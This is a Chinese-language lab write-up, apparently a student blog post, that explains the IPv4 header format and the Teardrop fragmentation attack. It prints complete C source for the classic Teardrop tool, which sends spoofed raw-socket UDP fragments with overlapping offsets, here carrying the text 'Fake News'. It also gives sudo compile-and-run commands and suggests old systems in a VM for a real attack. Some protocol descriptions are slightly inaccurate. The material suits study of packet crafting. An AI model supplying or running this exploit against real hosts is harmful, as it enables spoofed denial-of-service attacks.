一、协议与原理
IP协议
IP协议是网络中最繁忙的协议。IP协议是一种best efforts协议,不保证可靠性,数据包可能重复、丢失;无连接协议,同一个连接中的多个报文被独立对待。IP协议主要定义了数据传送的基本单位;执行路由功能;主要规定了主机和路由器应该如何处理数据包;在什么情况下产生错误信息;以及什么情况下应该丢弃数据包。
IPV4的报头格式
下面详细描述ipv4报头中各个字段的含义:
·Version(版本): 该字段长度为4比特位。标识IP报头的版本和格式,ipv4数据包的该字段设置为:0100·IHL( Internet报头长度):
该字段长度为4比特位。它标识报头的总长度,以32比特位为一个单位,在ipv4中头部被限制为最多15个32位字。有效报头的最小值为5。即0101·Type of Service(服务类型):
该字段长度为8比特位。被分为俩个部分,前6位被称为区分服务字段—DS字段;后2位是显示拥塞通知字段—ECN字段,用于QS。 ·Total
Length(总长度): 该字段长度为16比特位。它标识数据报和数据包的总长度,单位为字节。所以ipv4的数据最大为65535。·Identification(标识符):
该字段长度为16比特位。它标识分段所属的组,所属为同一组则标识符相同。在网络层中也可把流量区分开来,用于流量分片。·Flags(标记位): 该字段长度为3比特位。它分为三分部分,保留位(reserved bit)为0;分片位(Don`t
fragent)当为1时标识未分片,0则标识被分片;更多位(more fragments)为0标识最后分段,为1标识更多分段。·Fragment Offset(分段偏移): 该字段长度为13位比特位。用来重排序,它标识分段在当前数据包的位置,单位为字节。
·Time to Live(存活时间):
该字段长度为8比特位。在网络中标识数据包最大存活时间,用来防止路由环路,每经过一台路由器则TTL字段减去1,直到为0,此数据包直接被丢弃。其值最大为255,单位为s。然而现在路由器转发数据包都是用跳数来作为衡量单位。·Protocol(协议): 该字段长度为8比特位。它用来标识上层协议(0—255),上图为6标识为TCP协议号。
·Header Checksum(报头校验和): 该字段长度为16比特位。
这个16位字段只对首部查错,不包括数据部分。在每一跳,路由器都要重新计算出的首部检验和并与此字段进行比对,如果不一致,此报文将会被丢弃。重新计算的必要性是因为每一跳的一些首部字段(如TTL、Flag、Offset等)都有可能发生变化,不检查数据部分是为了减少工作量。数据区的错误留待上层协议处理——(UDP)和(TCP)都有检验和字段。此处的检验计算方法不使用CRC。·Source address(源地址): 该字段长度为32比特位。它标识发送者的ip地址。
·Destination address(目的地址): 该字段长度为32比特位。它标识接受者的ip地址。 ·options(ip选项):
该字段长度可变。该字段提供某些控制功能,但在大部分情况下不需要这些功能。里面包括机制有松散路由,严格路由,路由记录及时间戳。·padding(填充): 通过options字段后面补充0来补齐32位比特位,padding的和位0或者是32的倍数。
Teardrop(泪滴)攻击原理
攻击者A给受害者B发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),B在组合这种含有重叠偏移的伪造分片报文时,会导致系统崩溃。
防御方法传送门——泪滴攻击(teardrop)及防御方法
二、实验
1、
实验要求
伪造一个虚假地址的IP包,包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。
2、
实验在Ubuntu18.04环境下进行
3、
创建Teardrop.c文件,并写入如下代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.*/
void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
// 定义源地址和目的地址
u_long src_ip = 0, dst_ip = 0;
// 定义源端口和目的端口
u_short src_prt = 0, dst_prt = 0;
// 定义一个32位的IPv4地址
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
//创建原始套接字
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "raw socket");
exit(1);
}
//设置套接字选项IP_HDRINCL
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
(char *)&one, sizeof(one))< 0)
{
fprintf(stderr, "IP_HDRINCL");
exit(1);
}
if (argc < 3)
usage(argv[0]);
// 设置源IP 和 目的IP
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': // source port (should be emphemeral)
src_prt = (u_short)atoi(optarg);
break;
case 't': // dest port (DNS, anyone?)
dst_prt = (u_short)atoi(optarg);
break;
case 'n': // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
srandom((unsigned)(utimes("0",(time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count)
count = COUNT;
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;
printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[\n ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
// printf("b00m ");
usleep(500);
}
printf("]\n");
return (0);
}
// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
u_char byte; // a byte
// 套接字地址结构
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
flag = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
// IP version and header length
byte = 0x45;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP TOS (skipped)
// total length
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // IP id
p_ptr += 2;
//IP frag flags and offset
*((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // IP TTL
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
// IP checksum filled in by kernel
p_ptr += 4;
// IP source address
*((u_long *)p_ptr) = src_ip;
p_ptr += 4;
// IP destination address
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); // UDP source port
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
p_ptr += 2;
*((u_short *)p_ptr) = htons(PADDING); // UDP total length
p_ptr += 4;
// 发送数据:Fake News
*((u_short *)p_ptr) = 0x46;
p_ptr++;
*((u_short *)p_ptr) = 0x61;
p_ptr++;
*((u_short *)p_ptr) = 0x6B;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x20;
p_ptr++;
*((u_short *)p_ptr) = 0x4E;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x77;
p_ptr++;
*((u_short *)p_ptr) = 0x73;
int i=1;
while(i <= 56)
{
printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
// IP total length is 2 bytes into the header
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
// IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH+MAGIC+1, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
// 获取主机信息
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
4、
编译运行
gcc Teardrop.c -o Teardrop
sudo ./Teardrop 100.100.100.100 200.200.200.200
这边的ip就是随便填的,毕竟这是攻击程序,而且现在的操作系统早已对这个攻击方式免疫,如果要真的攻击那么可以试试在虚拟机上装老系统。
5、
wireshark抓包验证
三、小结与参考链接
学习Teardrop 这个程序当然不是为了攻击,而是可以了解一个 IP 的形成过程。这也是我第一次网络安全方面有所接触,感觉这方面是门大学问。
参考链接:
IPv4报头格式分析
泪滴攻击(teardrop)及防御方法
IP协议安全:泪滴攻击与碎片攻击